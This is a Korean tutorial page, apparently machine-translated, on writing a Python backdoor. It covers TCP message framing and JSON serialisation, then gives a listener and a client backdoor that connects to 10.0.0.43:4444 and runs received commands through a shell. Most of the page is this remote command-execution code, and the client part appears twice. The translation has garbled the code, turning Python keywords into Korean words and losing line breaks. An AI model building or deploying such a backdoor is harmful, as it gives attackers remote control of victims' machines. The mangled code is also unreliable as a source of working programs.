백도어 소켓
문제:
- TCP는 스트림 기반이다.
- 어려운 메시지 / 배치의 끝을 식별합니다.
해결책:
- 메시지가 잘 정의되어 있는지 확인합니다.
- 및 전송 방법에 따르는 수신하는 프로토콜을 구현한다.
- 헤더로 메시지의 크기를 보냅니다.
- 각 메시지의 끝에 최종의 메시지 표시를 추가합니다.
- 메시지를 직렬화합니다.
백도어 직렬화
혜택:
- 메시지는 물론 메시지가 불완전한 경우 수신기는 알고, 정의된다.
- (... 등 목록, dicts) 객체를 전송하는 데 사용할 수 있습니다
이행:
- JSON과 피클은 일반적인 솔루션입니다.
- JSON (JavaScript Object Notation)은 많은 프로그래밍 언어로 구현된다.
- 텍스트 등의 개체를 나타냅니다.
- 클라이언트와 서버간에 데이터를 전송할 때 널리 사용된다.
서버 측 - 리스너 코드 :
# !는 / usr / 빈 / ENV 파이썬 수입 소켓 수입 JSON의 클래스 리스너 : 데프 __init__ (자동, IP, 포트) : 리스너 = socket.socket (socket.AF_INET, socket.SOCK_STREAM) listener.setsockopt (socket.SOL_SOCKET, 소켓. SO_REUSEADDR, 1 ) listener.bind (IP (포트)) listener.listen (0) 인쇄 ( " [+] 들어오는 연결 대기 " ) self.connection 주소 = listener.accept () 인쇄 ( " [+] 당함 에서 연결" + STR (주소)) 고화질 (자기 데이터를 reliable_send) : json_data = json.dumps (데이터) 함수 .encode () self.connection.send (json_data) 데프 자기 (reliable_receive) : json_data = " " 동안 참 : 시도 : json_data = json_data + self.connection.recv (1024 ) .decode () 반환 json.loads (json_data) 을 제외하고 ValueError를 : 계속 데프 execute_remotely (자기 명령) : self.reliable_send (command.decode ()) 반환 self.reliable_receive ()를 데프 (자기를) 실행 하는 동안 진정한 : 명령 = 입력 ( " >> " ) 함수 .encode () 결과 = self.execute_remotely (명령) 인쇄 (결과) my_listener = 리스너 ( " 10.0.0.43 " , 4444 ) my_listener.run ()
클라이언트 측 - 백도어 코드 :
# !는 / usr / ENV 파이썬 / 빈 수입 json으로 수입 소켓 수입 서브 프로세스 클래스 백도어 : 데프 __init__ (자동, IP, 포트) : self.connection = socket.socket (socket.AF_INET, socket.SOCK_STREAM) self.connection.connect ( (IP를 포트)) DEF : (자기, 데이터) reliable_send json_data = json.dumps (데이터) 함수 .encode () ) self.connection.send (json_data를 DEF ) 자기 (reliable_receive : json_data = "" 동안 참 : 시도 : json_data = json_data + self.connection.recv (1024 ) .decode () 반환 json.loads (json_data) 을 제외하고 ValueError를 : 계속 데프 execute_system_command (자기 명령) : 리턴 subprocess.check_output (명령, 쉘 = True)로 데프 실행 (자기 ) 동안 트루 명령 = self.reliable_receive () command_result = self.execute_system_command (명령) self.reliable_send (command_result.decode ()) 의 Connection.close () my_backdoor= 백도어 ( 「10.0.0.43 」 , 4444 ) my_backdoor.run ()
결과를 실행합니다 :
#!는 / usr / 빈 / ENV pythonimport jsonimport socketimport 서브 프로세스
수준의 백도어 : 데프 __init __ (자동, IP, 포트) : self.connection = socket.socket (socket.AF_INET, socket.SOCK_STREAM) self.connection.connect ((IP, 포트))
고화질 (자기 데이터를 reliable_send) : json_data = json.dumps (데이터) 함수 .encode () self.connection.send (json_data)
데프 자기 (reliable_receive) : json_data = ""동안 참 : 시도 : json_data = json_data + ValueError를 제외하고 self.connection.recv (1024) .decode () 반환 json.loads (json_data) : 계속
데프 execute_system_command (자기 명령) : 리턴 subprocess.check_output (명령, 쉘 = 참)
데프 (자동) 실행하는 동안 진정한 : 명령 = self.reliable_receive () command_result = self.execute_system_command (명령) self.reliable_send (command_result.decode ())의 Connection.close ()
my_backdoor = 백도어 ( "10.0.0.43", 4444 ) my_backdoor.run ()